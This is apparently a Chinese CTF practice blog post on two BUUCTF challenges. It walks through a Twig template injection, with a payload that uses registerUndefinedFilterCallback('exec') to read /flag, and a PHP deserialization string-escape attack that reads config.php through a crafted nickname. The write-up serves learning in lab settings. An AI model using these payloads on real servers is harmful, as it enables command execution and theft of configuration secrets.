BUUCTF 23

知识点

  • jinja2

  1. jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。
  • Twig

  1. Twig是一款灵活、快速、安全的PHP模板引擎。

23-1 [BJDCTF2020]Cookie is so stable

做题思路

首先打开靶机之后有个提示,对我没用

然后打开 flag ,问我什么名字,输入之后,显示的是输入的值,怀疑这里有注入

尝试一下,发现是模板注入输入   { {7*7}} 得到49

然后又尝试了 { {system('ls')}} ,显示 BUUCTF 23_第1张图片

没啥头绪,但是看到题目说到cookie 便尝试抓包分析

依然不懂为啥子,找大佬

发现这个 

在user处尝试注入

{
    {7*'7'}} 回显7777777 ==> Jinja2
{
    {7*'7'}} 回显49 ==> Twig 

判断出是哪种模板注入后,就构建payload获取 flag,

这里采用的是大佬的  

{
    {_self.env.registerUndefinedFilterCallback("exec")}}{
    {_self.env.getFilter("cat /flag")}}

暂时,还没去弄明白模板注入 

23-2 [0CTF 2016]piapiapia

做题思路

打开为一个登陆页面,尝试登陆,看源代码,抓包分析

好家伙,不会

看眼WP

大佬扫到了

在config.php中有变量flag,但为空,flag应该在服务器的config.php文件中,要找可以利用的漏洞读取服务器的flag

(三)代码审计

有注册功能,且代码中要求必须注册才能进行其后的操作;
update.php中对用户填写的信息进行了一些限制,且将信息序列化保存;class.php 中的 filter 也对用户信息进行了限制.

1、update.php
(1)phone 长度为11位;
(2)nickname长度小于 10 位,且只能为字母和数字;
(3)将用户填写的 phone、email、nickname 以及上传的 文件进行序列化

 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!Your Profile';
	......

2、class.php 中的限制:

(1)update_profile 中对 new_profile 用 filter 进行了过滤;
(2)filter 中将 ‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’ 等词用 ‘hacker’ 替换掉.

table, 'profile', $new_profile, $where);
	}
.....

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
......

3、profile.php
(1)将序列化后的用户信息进行了反序列化,且读取了上传的 photo 文件内容
(2)用base64编码对上传文件进行了读取和显示

show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

(四)突破:php反序列化字符逃逸

PHP在反序列化时,从左往右读取数据类型及长度,且只读取其中规定长度的数据,即当数据的长度大于规定的长度,后面还有数据也不再读取,而后面不再读取的数据,就会被挤到下一个数据项中。

这里需要构造超出长度的数据,将被挤出来的数据形成可以读取config.php 的数据项。

1、构造数据
(1)选择构造数据的位置:构造数据要被挤到 photo 的位置,那么需要在 photo 前一个数据项,即 nickname 的位置,构造超出规定长度的数据;
(2)绕过限制:前面对 nickname 限制了长度为 10 ,这里要将其改为数组绕过
(3)获取构造数据长度

结果:

a:4:{s:5:"phone";s:11:"12345678990";s:5:"email";s:11:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"abc";}s:5:"photo";s:10:"config.php";}

读 config.php 的数据,加上对前面符号的闭合的字符串,长34位:

";}s:5:"photo";s:10:"config.php";}
  • 1

即需要在 nickname 处多添加34位长的数据,才能将这段数据挤到 photo 的位置上去
(4)在 filter 进行过滤时, ‘where’ 替换成了 ‘hacker’ ,此时字符串的长度加了 1 ,若在 nickname 处填进 34 个 ‘where’ ,就会被替换成 34 个 ‘hacker’,即nickname 的长度超出了 34 位,正好把 ";}s:5:“photo”;s:10:“config.php”;} 挤到的photo的位置。
最后 nickname 的填入的结果:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

 

2、利用base64编码读取服务器的config.php文件中的flag

(1)在register.php注册,任何登录,填写信息,在burpsuite中把nickname 改成数组,绕过检测nickname的正则BUUCTF 23_第2张图片
(2)查看profile 的源码BUUCTF 23_第3张图片BUUCTF 23_第4张图片

痛诉我今天这题,没花时间,明天再仔细研究

借鉴WP

 

 

你可能感兴趣的:(BUUCTF 23)